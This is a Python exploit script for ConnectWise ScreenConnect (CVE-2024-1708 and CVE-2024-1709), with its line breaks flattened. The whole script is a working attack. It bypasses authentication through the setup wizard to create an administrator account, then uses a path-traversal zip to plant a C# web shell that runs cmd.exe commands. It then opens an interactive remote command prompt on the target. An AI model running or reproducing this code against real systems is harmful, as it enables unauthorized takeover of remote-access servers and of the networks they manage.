import argparse import base64 import re import sys import warnings from distutils.version import LooseVersion import requests import random import string import zipfile import urllib3 DELETE_STATUS=False warnings.filterwarnings("ignore", category=DeprecationWarning) urllib3.disable_warnings() exploit_header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" } GREEN = "\033[92m" RESET = "\033[0m" def rand_text_hex(length): return ''.join(random.choice('0123456789abcdef') for _ in range(length)) def rand_text_alpha_lower(length): return ''.join(random.choice(string.ascii_lowercase) for _ in range(length)) def rand_text_alpha(length): return ''.join(random.choice(string.ascii_letters) for _ in range(length)) plugin_guid = '-'.join([rand_text_hex(a) for a in [8, 4, 4, 4, 12]]) payload_ashx = f"{rand_text_alpha_lower(8)}.ashx" payload_handler_class = rand_text_alpha(8) payload_psi_var = rand_text_alpha(8) session = requests.Session() def GetAntiForgeryToken(url, username, password): try: resp = session.get(url=url + "/Administration", auth=(username, password), verify=False, headers=exploit_header, proxies=proxy) antiForgeryToken = re.search(r'"antiForgeryToken"\s*:\s*"([a-zA-Z0-9+/=]+)"', resp.text).group(1) return antiForgeryToken except: return None def CreateExtension(): payload_data = f'''<% @ WebHandler Language="C#" Class="{payload_handler_class}" %> using System; using System.Web; using System.Diagnostics; public class {payload_handler_class} : IHttpHandler {{ public void ProcessRequest(HttpContext ctx) {{ string command = ctx.Request.QueryString["cmd"]; if (!string.IsNullOrEmpty(command)) {{ ExecuteCommand(command, ctx); }} else {{ ctx.Response.ContentType = "text/plain"; }} }} private void ExecuteCommand(string cmd, HttpContext ctx) {{ ProcessStartInfo {payload_psi_var} = new ProcessStartInfo(); {payload_psi_var}.FileName = "cmd.exe"; {payload_psi_var}.Arguments = $"/c {{cmd}}"; {payload_psi_var}.RedirectStandardOutput = true; {payload_psi_var}.UseShellExecute = false; using (Process process = new Process()) {{ process.StartInfo = {payload_psi_var}; process.Start(); string output = process.StandardOutput.ReadToEnd(); process.WaitForExit(); ctx.Response.ContentType = "text/plain"; ctx.Response.Write(output); }} }} public bool IsReusable {{ get {{ return true; }} }} }}''' manifest_data = f''' 1 {rand_text_alpha_lower(8)} {rand_text_alpha_lower(8)} {rand_text_alpha_lower(8)} null ''' zip_resources = zipfile.ZipFile("resources.zip", 'w') zip_resources.writestr(f"{plugin_guid}/Manifest.xml", manifest_data) zip_resources.writestr(f"{plugin_guid}/../{payload_ashx}", payload_data) zip_resources.close() def UploadExtension(url, anti_forgery_token): with open("resources.zip", "rb") as f: zip_data = f.read() zip_data_base64 = base64.b64encode(zip_data).decode() headers = { "X-Anti-Forgery-Token": anti_forgery_token, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" } url = url + "/Services/ExtensionService.ashx/InstallExtension" session.cookies.update({"settings": "%7B%22collapsedPanelMap%22%3A%7B%22Inactive%22%3Atrue%7D%7D"}) try: response = session.post(url=url, data=f"[\"{zip_data_base64}\"]", headers=headers, verify=False, proxies=proxy) if response.status_code == 200: print(f"[+] The malicious extension was uploaded successfully, with the ID: {plugin_guid}") else: print("[-] Malicious extension upload failed, please check the network and try again or try to exploit manually") except Exception as err: print("[-] Error in func , error message: " + str(err)) def ExecuteCommand(url): try: resp = session.get(url=url + f"/App_Extensions/{payload_ashx}", headers=exploit_header, verify=False, proxies=proxy) if resp.status_code == 200: print(f"[+] Shell Url: {url + f'/App_Extensions/{payload_ashx}'}") print("[+] Please start executing commands freely! Type to delete the shell") while True: cmd = input(f"{GREEN}command > {RESET}") if cmd == "quit": DeleteExtension(target, plugin_guid) sys.exit(0) try: resp = session.get(url=url + f"/App_Extensions/{payload_ashx}?cmd={cmd}", headers=exploit_header, verify=False, proxies=proxy) print(resp.text) except Exception as err: print("[-] Error in func , error message: " + str(err)) else: print(f"[-] Malicious extension load error ({url + f'/App_Extensions/{payload_ashx}'}), Refer to https://www.connectwise.com/globalassets/media/documents/connectwisecontrolsecurityevaluationmatrix.pdf") DeleteExtension(target, plugin_guid) except Exception as err: print("[-] Error in func , error message: " + str(err)) def DeleteExtension(url, plugin_guid): global DELETE_STATUS if not DELETE_STATUS: try: headers = { "X-Anti-Forgery-Token": anti_forgery_token, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" } url = url + "/Services/ExtensionService.ashx/UninstallExtension" response = session.post(url=url, data=f"[\"{plugin_guid}\"]", headers=headers, verify=False, proxies=proxy) if response.status_code == 200: print(f"[+] The malicious extension was removed successfully, with the ID: {plugin_guid}") DELETE_STATUS = True else: print("[-] Malicious extension removed failed, please check the network and try again or try to exploit manually") except Exception as err: print("[-] Error in func , error message: " + str(err)) def AddUser(url, username, password, domain): if CheckVersion(url): try: initial_request = requests.get(url=url + "/SetupWizard.aspx/", verify=False) viewstate_1 = re.search(r'value="([^"]+)"', initial_request.text).group(1) viewgen_1 = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', initial_request.text).group(1) next_data = {"__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": viewstate_1, "__VIEWSTATEGENERATOR": viewgen_1, "ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton": "Next"} next_request = requests.post(url=url + "/SetupWizard.aspx/", headers=exploit_header, data=next_data, verify=False) exploit_viewstate = re.search(r'value="([^"]+)"', next_request.text).group(1) exploit_viewgen = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', next_request.text).group(1) exploit_data = {"__LASTFOCUS": '', "__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": exploit_viewstate, "__VIEWSTATEGENERATOR": exploit_viewgen, "ctl00$Main$wizard$userNameBox": username, "ctl00$Main$wizard$emailBox": username + f"@{domain}", "ctl00$Main$wizard$passwordBox": password, "ctl00$Main$wizard$verifyPasswordBox": password, "ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"} requests.post(url=url + "/SetupWizard.aspx/", headers=exploit_header, data=exploit_data, verify=False) check_url = url + "/Services/AuthenticationService.ashx/TryLogin" check_data = f"""["{username}","{password}",null,null,null]""" check_header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Content-Type": "application/json" } check_response = requests.post(url=check_url, data=check_data, headers=check_header, verify=False) if check_response.ok and "1" in check_response.text: print(f"[+] {url} Successfully added user. username: {GREEN}{username}{RESET} and password: {GREEN}{password}{RESET}") else: print(f"[-] Failed to add user, {url} does not have this vulnerability, please check the network and try again or try to exploit manually") except Exception as err: print("[-] Error in func , error message: " + str(err)) def CheckVersion(url): try: response = requests.get(url=url + "/Login?Reason=0", headers=exploit_header, verify=False) serverString = response.headers["Server"] version = re.search(r"ScreenConnect\/([\d\.]+)-\d+", serverString).group(1) if LooseVersion(version) <= LooseVersion("23.9.7"): return True else: return False except Exception as err: print("[-] Error in func , error message: " + str(err)) return False def ParseArguments(): banner = r""" ____ ____ _ ____ ____ _____ / ___| ___ _ __ ___ ___ _ __ / ___|___ _ __ _ __ ___ ___| |_ | _ \ / ___| ____| \___ \ / __| '__/ _ \/ _ \ '_ \| | / _ \| '_ \| '_ \ / _ \/ __| __| | |_) | | | _| ___) | (__| | | __/ __/ | | | |__| (_) | | | | | | | __/ (__| |_ | _ <| |___| |___ |____/ \___|_| \___|\___|_| |_|\____\___/|_| |_|_| |_|\___|\___|\__| |_| \_\\____|_____| Author: @W01fh4cker Github: https://github.com/W01fh4cker """ print(banner) parser = argparse.ArgumentParser(description="CVE-2024-1708 && CVE-2024-1709 --> RCE!!!") parser.add_argument("-u", "--username", type=str, default="cvetest", help="username you want to add", required=False) parser.add_argument("-p", "--password", type=str, default="cvetest@2023", help="password you want to add", required=False) parser.add_argument("-t", "--target", type=str, help="target url", required=True) parser.add_argument("-d", "--domain", type=str, default="poc.com", help="Description of domain", required=False) parser.add_argument("--proxy", type=str, help="eg: http://127.0.0.1:8080", required=False) return parser.parse_args() if __name__ == "__main__": args = ParseArguments() username = args.username password = args.password target = args.target.rstrip("/") domain = args.domain if args.proxy: proxy = {"http": args.proxy, "https": args.proxy} else: proxy = {} print(f"[*] Start checking: {target}") anti_forgery_token = GetAntiForgeryToken(target, username, password) if anti_forgery_token is None: AddUser(target, username, password, domain) anti_forgery_token = GetAntiForgeryToken(target, username, password) else: print(f"[+] username: {GREEN}{username}{RESET} | password: {GREEN}{password}{RESET}") CreateExtension() if anti_forgery_token is not None: print(f"[+] X-Anti-Forgery-Token successfully obtained: {anti_forgery_token}") UploadExtension(target, anti_forgery_token) else: print("[-] AntiForgeryToken acquisition failed, please check the network and try again or try to exploit manually") try: ExecuteCommand(target) except Exception as e: DeleteExtension(target, plugin_guid)